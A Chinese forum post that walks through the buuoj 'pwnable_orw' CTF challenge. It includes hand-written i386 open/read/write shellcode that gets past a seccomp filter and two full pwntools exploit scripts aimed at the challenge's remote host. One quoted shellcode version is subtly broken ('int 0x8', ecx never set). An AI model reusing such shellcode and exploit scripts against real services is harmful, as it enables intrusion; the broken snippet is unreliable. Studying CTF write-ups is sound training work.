bnuzgn 发表于 2023-8-1 19:07

[ORW类]pwnable_orw

本帖最后由 bnuzgn 于 2023-8-2 08:40 编辑

题目来源:buuoj
参考链接:

[*](建议对照阅读)http://liul14n.top/2020/05/19/Pwnable-orw/
[*]https://niceseven.github.io/post/2020/10/29/buuctf-pwn-pwnable_orw/

题目信息
没开NX保护,提示信息ubuntu16,i386,有金丝雀,值得关注的是新出现的RWX部分,有兴趣的可以研究一下
   
main函数中写明了可以直接写shellcode,然后直接运行,还没开NX,如果没有最开始的orw_seccomp函数,那就可以直接shellcode = asm(shellcraft.sh())
   
orw_seccomp函数的ghidra解析版,显然一些函数解析失败,影响阅读
   
IDA版就好多了。参考链接1:这段程序中,unk_8048640位置存储的即为“白名单”,通过这个白名单,可以看到这个程序允许的系统调用。具体实现与prctl有关。
   
使用seccomp-tools可以直接查看程序允许哪些系统函数。如图,程序仅允许open、read、write等常见系统调用。
seccomp-tools安装方式:sudo gem install seccomp-tools
   
解题思路
使用open函数打开flag文件,read函数读取flag文件内容到栈中,write函数打印出来flag值。
备注:在buuoj中,flag会直接保存在当前文件夹中,以flag命名,平时可以直接cat flag,本题中open函数直接导入‘flag’作为参数即可。
关键步骤
自我编写汇编语言(前置知识:寄存器基础、指令基础、系统调用表基础)
链接1中的大佬是这么写的:
//open(flag,0,0)
mopen = '''
mov eax,5;
xor ecx,ecx;
xor edx,edx;
push 0;                \x00 用于截断字符串(flag)
push 0x67616C66;       flag的小端序写法
mov ebx,esp;         esp指向字符串"flag\0"
int 0x80;
'''
//read(fd,esp,0x50)    fd即open的返回值,存在eax中。
mread = '''
mov ecx,ebx;            esp处用作缓冲区读取flag
mov ebx,eax;            eax为open的返回值,即读取到的文件的file ID(如果读取失败则返回-1)
mov eax,3;
mov edx,0x50;
int 0x80;
'''
//write(1,esp,0x50)
mwrite = '''
mov eax,4;
mov ebx,1;            文件描述符 stdout
mov edx,0x50;
int 0x8
'''
我读了一边发现这样写有了一定程度的简化,有些步骤被大佬优化了,因此自己写了一遍。
备注:强烈推荐自己写一遍,这是这道题的精髓。
orwOpen = '''
mov eax,5;
xor ecx,ecx;
xor edx,edx;
push 0x00;            
push 0x67616c66;
mov ebx,esp;
int 0x80;
'''

orwRead = '''
mov ebx,eax;
mov ecx,esp;
mov eax,3;
mov edx,0x50;
int 0x80;
'''

orwWrite = '''
mov ebx,1;
mov ecx,esp;
mov edx,0x50;
mov eax,4;
int 0x80;
'''
WP1
# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "orw"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",27835)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)


orwOpen = '''
mov eax,5;
xor ecx,ecx;
xor edx,edx;
push 0x00;            
push 0x67616c66;
mov ebx,esp;
int 0x80;
'''

orwRead = '''
mov ebx,eax;
mov ecx,esp;
mov eax,3;
mov edx,0x50;
int 0x80;
'''

orwWrite = '''
mov ebx,1;
mov ecx,esp;
mov edx,0x50;
mov eax,4;
int 0x80;
'''

payload = asm(orwOpen) + asm(orwRead) + asm(orwWrite)
sl(payload)
ti()
wp2
修改自链接2
#-*- coding=UTF-8 -*-
from pwn import*

context(arch = 'i386',os = 'linux',log_level = 'debug')
binary = './orw'
local = 0
if local == 1:
    sh = process(binary)
else:
    sh = remote("node4.buuoj.cn",25013)
elf=ELF(binary)

shellcode = shellcraft.pushstr('flag')
shellcode += shellcraft.syscall('SYS_open',"esp",0)
shellcode += shellcraft.syscall('SYS_read','eax','esp',0x50)
shellcode += shellcraft.syscall('SYS_write',1,'esp',0x50)

payload = asm(shellcode)

sh.sendafter('Give my your shellcode:',payload)
sh.interactive()

id3 发表于 2023-8-1 23:28

融入了自己的见解,更加简化了7,赞

chinabbsv 发表于 2023-8-2 08:30

谢谢分享这么好的文章

start_to_cr3ck 发表于 2023-8-2 22:34

谢谢分享,正想学习pwn

aft705 发表于 2023-8-5 17:39

感谢楼主的分享~
页: [1]
查看完整版本: [ORW类]pwnable_orw